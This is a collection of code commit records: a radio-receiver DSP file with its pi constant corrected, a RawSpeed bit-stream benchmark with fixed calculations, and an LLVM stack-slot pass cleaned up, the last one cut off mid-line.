{"text":"<commit_before>\/\/ Copyright 2014 Google Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/**\n * DSP functions and operations.\n *\/\n\n#include <algorithm>\n#include <cassert>\n#include <cmath>\n#include <cstring>\n#include <memory>\n#include <numeric>\n#include <stdint.h>\n#include <vector>\n\n#include \"dsp.h\"\n\nusing namespace std;\n\nnamespace radioreceiver {\n\nconst double kPi = 3.141592653989793238;\nconst double k2Pi = 2 * kPi;\nconst double kPi2 = kPi \/ 2;\n\nvector<float> getLowPassFIRCoeffs(int sampleRate, float halfAmplFreq,\n                                  int length) {\n  length += (length + 1) % 2;\n  float freq = halfAmplFreq \/ sampleRate;\n  int center = length \/ 2;\n  float sum = 0;\n  vector<float> coefficients(length);\n  for (int i = 0; i < length; ++i) {\n    float val;\n    if (i == center) {\n      val = k2Pi * freq;\n    } else {\n      float angle = k2Pi * (i + 1) \/ (length + 1);\n      val = sin(k2Pi * freq * (i - center)) \/ (i - center);\n      val *= 0.42 - 0.5 * cos(angle) + 0.08 * cos(2 * angle);\n    }\n    sum += val;\n    coefficients[i] = val;\n  }\n  for (int i = 0; i < length; ++i) {\n    coefficients[i] \/= sum;\n  }\n  return coefficients;\n}\n\nSamples samplesFromUint8(uint8_t* buffer, int length) {\n  Samples out(length);\n  for (int i = 0; i < length; ++i) {\n    out[i] = buffer[i] \/ 128.0 - 1;\n  }\n  return out;\n}\n\n\nFIRFilter::FIRFilter(const vector<float>& coefficients, int step)\n    : coefficients_(coefficients),\n      curSamples_((coefficients.size() - 1) * step, 0),\n      step_(step), offset_((coefficients.size() - 1) * step) {\n  reverse(coefficients_.begin(), coefficients_.end());\n}\n\nvoid FIRFilter::loadSamples(const Samples& samples) {\n  int fullLen = samples.size() + offset_;\n  float* curArr = curSamples_.data();\n  float* endOfCur = curArr + curSamples_.size() - offset_;\n  memmove(curArr, endOfCur, offset_ * sizeof(float));\n  if (fullLen != curSamples_.size()) {\n    curSamples_.resize(fullLen);\n    curArr = curSamples_.data();\n  }\n  memmove(curArr + offset_, samples.data(), samples.size() * sizeof(float));\n}\n\nfloat FIRFilter::get(int index) {\n  float out = 0;\n  for (int ic = 0, is = index, sz = coefficients_.size(); ic < sz;\n       ++ic, is += step_) {\n    out += coefficients_[ic] * curSamples_[is];\n  }\n  return out;\n}\n\n\nDownsampler::Downsampler(int inRate, int outRate,\n                         const vector<float>& coefs)\n    : filter_(coefs, 1), rateMul_((float) inRate \/ outRate) {}\n\nSamples Downsampler::downsample(const Samples& samples) {\n  filter_.loadSamples(samples);\n  int outLen = samples.size() \/ rateMul_;\n  Samples out(outLen);\n  float readFrom = 0;\n  for (int i = 0; i < outLen; ++i, readFrom += rateMul_) {\n    out[i] = filter_.get((int) readFrom);\n  }\n  return out;\n}\n\n\nIQDownsampler::IQDownsampler(int inRate, int outRate,\n                             const vector<float>& coefs)\n    : filter_(coefs, 2), rateMul_((float) inRate \/ outRate) {}\n\nSamplesIQ IQDownsampler::downsample(const Samples& samples) {\n  int numSamples = samples.size() \/ (2 * rateMul_);\n  filter_.loadSamples(samples);\n  SamplesIQ out{Samples(numSamples), Samples(numSamples)};\n  float readFrom = 0;\n  for (int i = 0; i < numSamples; ++i, readFrom += rateMul_) {\n    int idx = 2 * ((int) readFrom);\n    out.I[i] = filter_.get(idx);\n    out.Q[i] = filter_.get(idx + 1);\n  }\n  return out;\n}\n\n\nAMDemodulator::AMDemodulator(int inRate, int outRate, float filterFreq,\n                             int kernelLen)\n    : downsampler_(inRate, outRate,\n                   getLowPassFIRCoeffs(inRate, filterFreq, kernelLen)) {}\n\nSamples AMDemodulator::demodulateTuned(const Samples& samples) {\n  SamplesIQ iqSamples(downsampler_.downsample(samples));\n  int outLen = iqSamples.I.size();\n  float iAvg = accumulate(iqSamples.I.begin(), iqSamples.I.end(), 0) \/ outLen;\n  float qAvg = accumulate(iqSamples.Q.begin(), iqSamples.Q.end(), 0) \/ outLen;\n  Samples out(outLen);\n  float sigSqrSum = 0;\n  float sigSum = 0;\n  for (int i = 0; i < outLen; ++i) {\n    float I = iqSamples.I[i] - iAvg;\n    float Q = iqSamples.Q[i] - qAvg;\n    float power = I * I + Q * Q;\n    float ampl = sqrt(power);\n    out[i] = ampl;\n    sigSum += ampl;\n    sigSqrSum += power;\n  }\n  float halfPoint = sigSum \/ outLen;\n  for (auto &o : out) {\n    o = (o - halfPoint) \/ halfPoint;\n  }\n  hasCarrier_ = sigSqrSum > (0.002 * outLen);\n  return out;\n}\n\nbool AMDemodulator::hasCarrier() {\n  return hasCarrier_;\n}\n\n\nstatic float myatan2(float y, float x) {\n  float sgn = 1;\n  if (y < 0) {\n    sgn *= -1;\n    y *= -1;\n  }\n  float ang = 0;\n  float div;\n  if (x == y) {\n    div = 1;\n  } else if (x > y) {\n    div = y \/ x;\n  } else {\n    ang = -kPi2;\n    div = x \/ y;\n    sgn *= -1;\n  }\n  ang +=\n    div \/\n    (0.98419158358617365\n     + div * (0.093485702629671305\n\t      + div * 0.19556307900617517));\n  return sgn * ang;\n}\n\n\nFMDemodulator::FMDemodulator(int inRate, int outRate, int maxF,\n                             float filterFreq, int kernelLen)\n  : amplConv_(outRate \/ (k2Pi * maxF)),\n    downsampler_(inRate, outRate,\n                 getLowPassFIRCoeffs(inRate, filterFreq, kernelLen)),\n    lI_(0), lQ_(0) {}\n\nSamples FMDemodulator::demodulateTuned(const Samples& samples) {\n  SamplesIQ iqSamples(downsampler_.downsample(samples));\n  int outLen = iqSamples.I.size();\n  Samples out(outLen);\n  float sigSqrSum = 0;\n  for (int i = 0; i < outLen; ++i) {\n    float I = iqSamples.I[i];\n    float Q = iqSamples.Q[i];\n    float real = lI_ * I + lQ_ * Q;\n    float imag = lI_ * Q - I * lQ_;\n    out[i] = myatan2(imag, real) * amplConv_;\n    lI_ = I;\n    lQ_ = Q;\n    sigSqrSum += lI_ * lI_;\n  }\n  hasCarrier_ = sigSqrSum > (0.002 * outLen);\n  return out;\n}\n\nbool FMDemodulator::hasCarrier() {\n  return hasCarrier_;\n}\n\n\nclass StereoSeparator::ExpAverage {\n  float weight_;\n  float avg_;\n\n public:\n  ExpAverage(int weight) : weight_(weight), avg_(0) {}\n\n  float add(float value) {\n    avg_ = (weight_ * avg_ + value) \/ (weight_ + 1);\n    return avg_;\n  }\n\n  float get() { return avg_; }\n};\n\nStereoSeparator::StereoSeparator(int sampleRate, int pilotFreq)\n    : sin_(0), cos_(1),\n      iavg_(new ExpAverage(sampleRate * 0.03)),\n      qavg_(new ExpAverage(sampleRate * 0.03)),\n      cavg_(new ExpAverage(sampleRate * 0.15)) {\n  for (int i = 0; i < 8001; ++i) {\n    float freq = (pilotFreq + i \/ 100 - 40) * k2Pi \/ sampleRate;\n    sinTable_[i] = sin(freq);\n    cosTable_[i] = cos(freq);\n  }\n}\n\nStereoSeparator::~StereoSeparator() {}\n\nconst float StereoSeparator::kCorrThres = 4;\n\nStereoSignal StereoSeparator::separate(const Samples& samples) {\n  Samples out(samples);\n  for (int i = 0, sz = out.size(); i < sz; ++i) {\n    float hdev = qavg_->add(out[i] * cos_);\n    float vdev = iavg_->add(out[i] * sin_);\n    out[i] *= sin_ * cos_ * 2;\n    float corr;\n    if (vdev > 0) {\n      corr = fmaxf(-4, fminf(4, hdev \/ vdev));\n    } else {\n      corr = hdev == 0 ? 0 : hdev > 0 ? 4 : -4;\n    }\n    int idx = roundf((corr + 4) * 1000);\n    float newSin = sin_ * cosTable_[idx] + cos_ * sinTable_[idx];\n    cos_ = cos_ * cosTable_[idx] - sin_ * sinTable_[idx];\n    sin_ = newSin;\n    cavg_->add(corr * corr);\n  }\n\n  return StereoSignal{cavg_->get() < kCorrThres, out};\n}\n\n\nDeemphasizer::Deemphasizer(int sampleRate, int timeConstant_uS)\n  : mult_(exp(-1e6 \/ (timeConstant_uS * sampleRate))), val_(0) {}\n\nvoid Deemphasizer::inPlace(Samples& samples) {\n  for (int i = 0, sz = samples.size(); i < sz; ++i) {\n    val_ = (1 - mult_) * samples[i] + mult_ * val_;\n    samples[i] = val_;\n  }\n}\n\n}  \/\/ namespace radioreceiver\n<commit_msg>Fix value of π.<commit_after>\/\/ Copyright 2014 Google Inc. All rights reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/**\n * DSP functions and operations.\n *\/\n\n#include <algorithm>\n#include <cassert>\n#include <cmath>\n#include <cstring>\n#include <memory>\n#include <numeric>\n#include <stdint.h>\n#include <vector>\n\n#include \"dsp.h\"\n\nusing namespace std;\n\nnamespace radioreceiver {\n\nconst double kPi = 3.141592653589793238;\nconst double k2Pi = 2 * kPi;\nconst double kPi2 = kPi \/ 2;\n\nvector<float> getLowPassFIRCoeffs(int sampleRate, float halfAmplFreq,\n                                  int length) {\n  length += (length + 1) % 2;\n  float freq = halfAmplFreq \/ sampleRate;\n  int center = length \/ 2;\n  float sum = 0;\n  vector<float> coefficients(length);\n  for (int i = 0; i < length; ++i) {\n    float val;\n    if (i == center) {\n      val = k2Pi * freq;\n    } else {\n      float angle = k2Pi * (i + 1) \/ (length + 1);\n      val = sin(k2Pi * freq * (i - center)) \/ (i - center);\n      val *= 0.42 - 0.5 * cos(angle) + 0.08 * cos(2 * angle);\n    }\n    sum += val;\n    coefficients[i] = val;\n  }\n  for (int i = 0; i < length; ++i) {\n    coefficients[i] \/= sum;\n  }\n  return coefficients;\n}\n\nSamples samplesFromUint8(uint8_t* buffer, int length) {\n  Samples out(length);\n  for (int i = 0; i < length; ++i) {\n    out[i] = buffer[i] \/ 128.0 - 1;\n  }\n  return out;\n}\n\n\nFIRFilter::FIRFilter(const vector<float>& coefficients, int step)\n    : coefficients_(coefficients),\n      curSamples_((coefficients.size() - 1) * step, 0),\n      step_(step), offset_((coefficients.size() - 1) * step) {\n  reverse(coefficients_.begin(), coefficients_.end());\n}\n\nvoid FIRFilter::loadSamples(const Samples& samples) {\n  int fullLen = samples.size() + offset_;\n  float* curArr = curSamples_.data();\n  float* endOfCur = curArr + curSamples_.size() - offset_;\n  memmove(curArr, endOfCur, offset_ * sizeof(float));\n  if (fullLen != curSamples_.size()) {\n    curSamples_.resize(fullLen);\n    curArr = curSamples_.data();\n  }\n  memmove(curArr + offset_, samples.data(), samples.size() * sizeof(float));\n}\n\nfloat FIRFilter::get(int index) {\n  float out = 0;\n  for (int ic = 0, is = index, sz = coefficients_.size(); ic < sz;\n       ++ic, is += step_) {\n    out += coefficients_[ic] * curSamples_[is];\n  }\n  return out;\n}\n\n\nDownsampler::Downsampler(int inRate, int outRate,\n                         const vector<float>& coefs)\n    : filter_(coefs, 1), rateMul_((float) inRate \/ outRate) {}\n\nSamples Downsampler::downsample(const Samples& samples) {\n  filter_.loadSamples(samples);\n  int outLen = samples.size() \/ rateMul_;\n  Samples out(outLen);\n  float readFrom = 0;\n  for (int i = 0; i < outLen; ++i, readFrom += rateMul_) {\n    out[i] = filter_.get((int) readFrom);\n  }\n  return out;\n}\n\n\nIQDownsampler::IQDownsampler(int inRate, int outRate,\n                             const vector<float>& coefs)\n    : filter_(coefs, 2), rateMul_((float) inRate \/ outRate) {}\n\nSamplesIQ IQDownsampler::downsample(const Samples& samples) {\n  int numSamples = samples.size() \/ (2 * rateMul_);\n  filter_.loadSamples(samples);\n  SamplesIQ out{Samples(numSamples), Samples(numSamples)};\n  float readFrom = 0;\n  for (int i = 0; i < numSamples; ++i, readFrom += rateMul_) {\n    int idx = 2 * ((int) readFrom);\n    out.I[i] = filter_.get(idx);\n    out.Q[i] = filter_.get(idx + 1);\n  }\n  return out;\n}\n\n\nAMDemodulator::AMDemodulator(int inRate, int outRate, float filterFreq,\n                             int kernelLen)\n    : downsampler_(inRate, outRate,\n                   getLowPassFIRCoeffs(inRate, filterFreq, kernelLen)) {}\n\nSamples AMDemodulator::demodulateTuned(const Samples& samples) {\n  SamplesIQ iqSamples(downsampler_.downsample(samples));\n  int outLen = iqSamples.I.size();\n  float iAvg = accumulate(iqSamples.I.begin(), iqSamples.I.end(), 0) \/ outLen;\n  float qAvg = accumulate(iqSamples.Q.begin(), iqSamples.Q.end(), 0) \/ outLen;\n  Samples out(outLen);\n  float sigSqrSum = 0;\n  float sigSum = 0;\n  for (int i = 0; i < outLen; ++i) {\n    float I = iqSamples.I[i] - iAvg;\n    float Q = iqSamples.Q[i] - qAvg;\n    float power = I * I + Q * Q;\n    float ampl = sqrt(power);\n    out[i] = ampl;\n    sigSum += ampl;\n    sigSqrSum += power;\n  }\n  float halfPoint = sigSum \/ outLen;\n  for (auto &o : out) {\n    o = (o - halfPoint) \/ halfPoint;\n  }\n  hasCarrier_ = sigSqrSum > (0.002 * outLen);\n  return out;\n}\n\nbool AMDemodulator::hasCarrier() {\n  return hasCarrier_;\n}\n\n\nstatic float myatan2(float y, float x) {\n  float sgn = 1;\n  if (y < 0) {\n    sgn *= -1;\n    y *= -1;\n  }\n  float ang = 0;\n  float div;\n  if (x == y) {\n    div = 1;\n  } else if (x > y) {\n    div = y \/ x;\n  } else {\n    ang = -kPi2;\n    div = x \/ y;\n    sgn *= -1;\n  }\n  ang +=\n    div \/\n    (0.98419158358617365\n     + div * (0.093485702629671305\n\t      + div * 0.19556307900617517));\n  return sgn * ang;\n}\n\n\nFMDemodulator::FMDemodulator(int inRate, int outRate, int maxF,\n                             float filterFreq, int kernelLen)\n  : amplConv_(outRate \/ (k2Pi * maxF)),\n    downsampler_(inRate, outRate,\n                 getLowPassFIRCoeffs(inRate, filterFreq, kernelLen)),\n    lI_(0), lQ_(0) {}\n\nSamples FMDemodulator::demodulateTuned(const Samples& samples) {\n  SamplesIQ iqSamples(downsampler_.downsample(samples));\n  int outLen = iqSamples.I.size();\n  Samples out(outLen);\n  float sigSqrSum = 0;\n  for (int i = 0; i < outLen; ++i) {\n    float I = iqSamples.I[i];\n    float Q = iqSamples.Q[i];\n    float real = lI_ * I + lQ_ * Q;\n    float imag = lI_ * Q - I * lQ_;\n    out[i] = myatan2(imag, real) * amplConv_;\n    lI_ = I;\n    lQ_ = Q;\n    sigSqrSum += lI_ * lI_;\n  }\n  hasCarrier_ = sigSqrSum > (0.002 * outLen);\n  return out;\n}\n\nbool FMDemodulator::hasCarrier() {\n  return hasCarrier_;\n}\n\n\nclass StereoSeparator::ExpAverage {\n  float weight_;\n  float avg_;\n\n public:\n  ExpAverage(int weight) : weight_(weight), avg_(0) {}\n\n  float add(float value) {\n    avg_ = (weight_ * avg_ + value) \/ (weight_ + 1);\n    return avg_;\n  }\n\n  float get() { return avg_; }\n};\n\nStereoSeparator::StereoSeparator(int sampleRate, int pilotFreq)\n    : sin_(0), cos_(1),\n      iavg_(new ExpAverage(sampleRate * 0.03)),\n      qavg_(new ExpAverage(sampleRate * 0.03)),\n      cavg_(new ExpAverage(sampleRate * 0.15)) {\n  for (int i = 0; i < 8001; ++i) {\n    float freq = (pilotFreq + i \/ 100 - 40) * k2Pi \/ sampleRate;\n    sinTable_[i] = sin(freq);\n    cosTable_[i] = cos(freq);\n  }\n}\n\nStereoSeparator::~StereoSeparator() {}\n\nconst float StereoSeparator::kCorrThres = 4;\n\nStereoSignal StereoSeparator::separate(const Samples& samples) {\n  Samples out(samples);\n  for (int i = 0, sz = out.size(); i < sz; ++i) {\n    float hdev = qavg_->add(out[i] * cos_);\n    float vdev = iavg_->add(out[i] * sin_);\n    out[i] *= sin_ * cos_ * 2;\n    float corr;\n    if (vdev > 0) {\n      corr = fmaxf(-4, fminf(4, hdev \/ vdev));\n    } else {\n      corr = hdev == 0 ? 0 : hdev > 0 ? 4 : -4;\n    }\n    int idx = roundf((corr + 4) * 1000);\n    float newSin = sin_ * cosTable_[idx] + cos_ * sinTable_[idx];\n    cos_ = cos_ * cosTable_[idx] - sin_ * sinTable_[idx];\n    sin_ = newSin;\n    cavg_->add(corr * corr);\n  }\n\n  return StereoSignal{cavg_->get() < kCorrThres, out};\n}\n\n\nDeemphasizer::Deemphasizer(int sampleRate, int timeConstant_uS)\n  : mult_(exp(-1e6 \/ (timeConstant_uS * sampleRate))), val_(0) {}\n\nvoid Deemphasizer::inPlace(Samples& samples) {\n  for (int i = 0, sz = samples.size(); i < sz; ++i) {\n    val_ = (1 - mult_) * samples[i] + mult_ * val_;\n    samples[i] = val_;\n  }\n}\n\n}  \/\/ namespace radioreceiver\n<|endoftext|>"}
{"text":"<commit_before>\/*\n    RawSpeed - RAW file decoder.\n\n    Copyright (C) 2017 Roman Lebedev\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n*\/\n\n#include \"io\/BitPumpJPEG.h\"          \/\/ for BitPumpJPEG\n#include \"io\/BitPumpLSB.h\"           \/\/ for BitPumpLSB, BitStream<>::fillCache\n#include \"io\/BitPumpMSB.h\"           \/\/ for BitPumpMSB\n#include \"io\/BitPumpMSB16.h\"         \/\/ for BitPumpMSB16\n#include \"io\/BitPumpMSB32.h\"         \/\/ for BitPumpMSB32\n#include \"io\/Buffer.h\"               \/\/ for Buffer, Buffer::size_type, Data...\n#include \"io\/ByteStream.h\"           \/\/ for ByteStream\n#include <algorithm>                 \/\/ for min\n#include <benchmark\/benchmark_api.h> \/\/ for State, Benchmark, Initialize\n#include <cassert>                   \/\/ for assert\n#include <cstddef>                   \/\/ for size_t\n#include <limits>                    \/\/ for numeric_limits\n#include <string>                    \/\/ for string, to_string\n#include <type_traits>               \/\/ for integral_constant\n\nusing rawspeed::BitPumpLSB;\nusing rawspeed::BitPumpMSB;\nusing rawspeed::BitPumpMSB16;\nusing rawspeed::BitPumpMSB32;\nusing rawspeed::BitPumpJPEG;\n\nstatic constexpr const size_t STEP_MAX = 32;\n\ntemplate <typename Pump>\nstatic inline void BM_BitStream(benchmark::State& state, bool inNativeByteOrder,\n                                unsigned int fillSize, unsigned int Step) {\n  assert(state.range(0) > 0);\n  assert((size_t)state.range(0) <=\n         std::numeric_limits<rawspeed::Buffer::size_type>::max());\n\n  assert(fillSize > 0);\n  assert(fillSize <= STEP_MAX);\n\n  assert(Step > 0);\n  assert(Step <= STEP_MAX);\n\n  assert(Step <= fillSize);\n\n  const rawspeed::Buffer b(state.range(0));\n  assert(b.getSize() > 0);\n  assert(b.getSize() == (size_t)state.range(0));\n\n  const rawspeed::DataBuffer db(b, inNativeByteOrder);\n  const rawspeed::ByteStream bs(db);\n\n  Pump pump(bs);\n\n  size_t processedBits = 0;\n  while (state.KeepRunning()) {\n    pump.resetBufferPosition();\n\n    for (processedBits = 0; processedBits <= b.getSize();) {\n      pump.fill(fillSize);\n\n      \/\/ NOTE: you may want to change the callee here\n      for (auto i = 0U; i < fillSize; i += Step)\n        pump.skipBits(Step);\n\n      processedBits += fillSize;\n    }\n  }\n\n  state.SetComplexityN(processedBits \/ 8);\n  state.SetItemsProcessed(state.complexity_length_n() * state.iterations());\n  state.SetBytesProcessed(state.items_processed());\n}\n\nstatic inline void CustomArguments(benchmark::internal::Benchmark* b) {\n  b->RangeMultiplier(2);\n#if 1\n  b->Arg(256 << 20);\n#else\n  const size_t maxBytes =\n      std::min(static_cast<size_t>(std::numeric_limits<int>::max()),\n               static_cast<size_t>(\n                   std::numeric_limits<rawspeed::Buffer::size_type>::max()));\n  b->Range(1, maxBytes);\n  b->Complexity(benchmark::oN);\n#endif\n  b->Unit(benchmark::kMillisecond);\n}\n\nusing Native = std::integral_constant<bool, true>;\nusing NonNative = std::integral_constant<bool, false>;\n\ntemplate <typename BO, typename PUMP>\nvoid registerPump(const char* byteOrder, const char* pumpName) {\n  for (size_t i = 1; i <= STEP_MAX; i *= 2) {\n    for (size_t j = 1; j <= i && j <= STEP_MAX; j *= 2) {\n      std::string name(\"BM_BitStream<ByteOrder<\");\n      name += byteOrder;\n      name += \">, Spec<\";\n      name += pumpName;\n      name += \">, Fill<\";\n      name += std::to_string(i);\n      name += \">, Step<\";\n      name += std::to_string(j);\n      name += \">>\";\n\n      const auto Fn = BM_BitStream<PUMP>;\n      auto* b = benchmark::RegisterBenchmark(name.c_str(), Fn, BO::value, i, j);\n      b->Apply(CustomArguments);\n    }\n  }\n}\n\n#define REG_PUMP_2(BO, PUMP) registerPump<BO, PUMP>(#BO, #PUMP);\n#define REGISTER_PUMP(PUMP) REG_PUMP_2(Native, PUMP) REG_PUMP_2(NonNative, PUMP)\n\nint main(int argc, char** argv) {\n  REGISTER_PUMP(BitPumpLSB);\n  REGISTER_PUMP(BitPumpMSB);\n  REGISTER_PUMP(BitPumpMSB16);\n  REGISTER_PUMP(BitPumpMSB32);\n  REGISTER_PUMP(BitPumpJPEG);\n\n  benchmark::Initialize(&argc, argv);\n  benchmark::RunSpecifiedBenchmarks();\n}\n<commit_msg>BitStreamBenchmark: fixup calculations a little<commit_after>\/*\n    RawSpeed - RAW file decoder.\n\n    Copyright (C) 2017 Roman Lebedev\n\n    This library is free software; you can redistribute it and\/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n*\/\n\n#include \"common\/Common.h\"           \/\/ for roundUp\n#include \"io\/BitPumpJPEG.h\"          \/\/ for BitPumpJPEG\n#include \"io\/BitPumpLSB.h\"           \/\/ for BitPumpLSB, BitStream<>::fillCache\n#include \"io\/BitPumpMSB.h\"           \/\/ for BitPumpMSB\n#include \"io\/BitPumpMSB16.h\"         \/\/ for BitPumpMSB16\n#include \"io\/BitPumpMSB32.h\"         \/\/ for BitPumpMSB32\n#include \"io\/Buffer.h\"               \/\/ for Buffer, Buffer::size_type, Data...\n#include \"io\/ByteStream.h\"           \/\/ for ByteStream\n#include <benchmark\/benchmark_api.h> \/\/ for State, Benchmark, Initialize\n#include <cassert>                   \/\/ for assert\n#include <cstddef>                   \/\/ for size_t\n#include <limits>                    \/\/ for numeric_limits\n#include <string>                    \/\/ for string, to_string\n#include <type_traits>               \/\/ for integral_constant\n\nusing rawspeed::BitPumpLSB;\nusing rawspeed::BitPumpMSB;\nusing rawspeed::BitPumpMSB16;\nusing rawspeed::BitPumpMSB32;\nusing rawspeed::BitPumpJPEG;\n\nstatic constexpr const size_t STEP_MAX = 32;\n\ntemplate <typename Pump>\nstatic inline void BM_BitStream(benchmark::State& state, bool inNativeByteOrder,\n                                unsigned int fillSize, unsigned int Step) {\n  assert(state.range(0) > 0);\n  assert((size_t)state.range(0) <=\n         std::numeric_limits<rawspeed::Buffer::size_type>::max());\n\n  assert(fillSize > 0);\n  assert(fillSize <= STEP_MAX);\n\n  assert(Step > 0);\n  assert(Step <= STEP_MAX);\n\n  assert(Step <= fillSize);\n\n  assert((Step == 1) || rawspeed::isAligned(Step, 2));\n  assert((fillSize == 1) || rawspeed::isAligned(fillSize, 2));\n\n  const rawspeed::Buffer b(state.range(0));\n  assert(b.getSize() > 0);\n  assert(b.getSize() == (size_t)state.range(0));\n\n  const rawspeed::DataBuffer db(b, inNativeByteOrder);\n  const rawspeed::ByteStream bs(db);\n\n  Pump pump(bs);\n\n  size_t processedBits = 0;\n  while (state.KeepRunning()) {\n    pump.resetBufferPosition();\n\n    for (processedBits = 0; processedBits <= 8 * b.getSize();) {\n      pump.fill(fillSize);\n\n      \/\/ NOTE: you may want to change the callee here\n      for (auto i = 0U; i < fillSize; i += Step)\n        pump.skipBitsNoFill(Step);\n\n      processedBits += fillSize;\n    }\n  }\n\n  assert(processedBits > fillSize);\n  processedBits -= fillSize;\n\n  assert(rawspeed::roundUp(8 * b.getSize(), fillSize) == processedBits);\n\n  state.SetComplexityN(processedBits \/ 8);\n  state.SetItemsProcessed(processedBits * state.iterations());\n  state.SetBytesProcessed(state.items_processed() \/ 8);\n}\n\nstatic inline void CustomArguments(benchmark::internal::Benchmark* b) {\n  b->RangeMultiplier(2);\n#if 1\n  b->Arg(256 << 20);\n#else\n  b->Range(1, 1024 << 20);\n  b->Complexity(benchmark::oN);\n#endif\n  b->Unit(benchmark::kMillisecond);\n}\n\nusing Native = std::integral_constant<bool, true>;\nusing NonNative = std::integral_constant<bool, false>;\n\ntemplate <typename BO, typename PUMP>\nvoid registerPump(const char* byteOrder, const char* pumpName) {\n  for (size_t i = 1; i <= STEP_MAX; i *= 2) {\n    for (size_t j = 1; j <= i && j <= STEP_MAX; j *= 2) {\n      std::string name(\"BM_BitStream<ByteOrder<\");\n      name += byteOrder;\n      name += \">, Spec<\";\n      name += pumpName;\n      name += \">, Fill<\";\n      name += std::to_string(i);\n      name += \">, Step<\";\n      name += std::to_string(j);\n      name += \">>\";\n\n      const auto Fn = BM_BitStream<PUMP>;\n      auto* b = benchmark::RegisterBenchmark(name.c_str(), Fn, BO::value, i, j);\n      b->Apply(CustomArguments);\n    }\n  }\n}\n\n#define REG_PUMP_2(BO, PUMP) registerPump<BO, PUMP>(#BO, #PUMP);\n#define REGISTER_PUMP(PUMP) REG_PUMP_2(Native, PUMP) REG_PUMP_2(NonNative, PUMP)\n\nint main(int argc, char** argv) {\n  REGISTER_PUMP(BitPumpLSB);\n  REGISTER_PUMP(BitPumpMSB);\n  REGISTER_PUMP(BitPumpMSB16);\n  REGISTER_PUMP(BitPumpMSB32);\n  REGISTER_PUMP(BitPumpJPEG);\n\n  benchmark::Initialize(&argc, argv);\n  benchmark::RunSpecifiedBenchmarks();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===- StackSlots.cpp  - Specialize LLVM code for target machine ---------===\/\/\n\/\/\n\/\/ This pass adds 2 empty slots at the top of function stack.\n\/\/ These two slots are later used during code reoptimization\n\/\/ for spilling the resgiter values when rewriting branches. \n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/MachineInstrInfo.h\"\n#include \"llvm\/Constants.h\"\n#include \"llvm\/Function.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/CodeGen\/MachineCodeForMethod.h\"\n\nusing std::map;\nusing std::cerr;\n\n\nclass StackSlots : public FunctionPass{\nprivate:\n  const TargetMachine &target;\npublic:\n  StackSlots (const TargetMachine &T): target(T) {}\n\n  bool runOnFunction(Function &F) {\n    Value *v = ConstantSInt::get(Type::IntTy,0);\n    MachineCodeForMethod &mcInfo = MachineCodeForMethod::get(&F);\n    mcInfo.allocateLocalVar\n      (target, v, 2*target.DataLayout.getTypeSize(PointerType::get(Type::IntTy)));\n    \n    return true;\n  }\n};\n\n\nPass* createStackSlotsPass(TargetMachine &T){\n  return new StackSlots(T);\n}\n\n<commit_msg>Minor cleanups Make sure to have a pass name<commit_after>\/\/===- StackSlots.cpp  - Specialize LLVM code for target machine ---------===\/\/\n\/\/\n\/\/ This pass adds 2 empty slots at the top of function stack.  These two slots\n\/\/ are later used during code reoptimization for spilling the register values\n\/\/ when rewriting branches.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/CodeGen\/StackSlots.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/MachineInstrInfo.h\"\n#include \"llvm\/Constant.h\"\n#include \"llvm\/Function.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/CodeGen\/MachineCodeForMethod.h\"\n\nclass StackSlots : public FunctionPass {\n  const TargetMachine &Target;\npublic:\n  StackSlots (const TargetMachine &T) : Target(T) {}\n\n  const char *getPassName() const {\n    return \"Stack Slot Insertion for profiling code\";\n  }\n\n  virtual void getAnalysisUsage(AnalysisUsage &AU) const {\n    AU.setPreservesCFG();\n  }\n\n  bool runOnFunction(Function &F) {\n    const Type *PtrInt = PointerType::get(Type::IntTy);\n    unsigned Size = Target.DataLayout.getTypeSize(PtrInt);\n\n    MachineCodeForMethod &mcInfo = MachineCodeForMethod::get(&F);\n    Value *V = Constant::getNullValue(Type::IntTy);\n    mcInfo.allocateLocalVar(Target, V, 2*Size);\n    return true;\n  }\n};\n\nPass *createStackSlotsPass(const 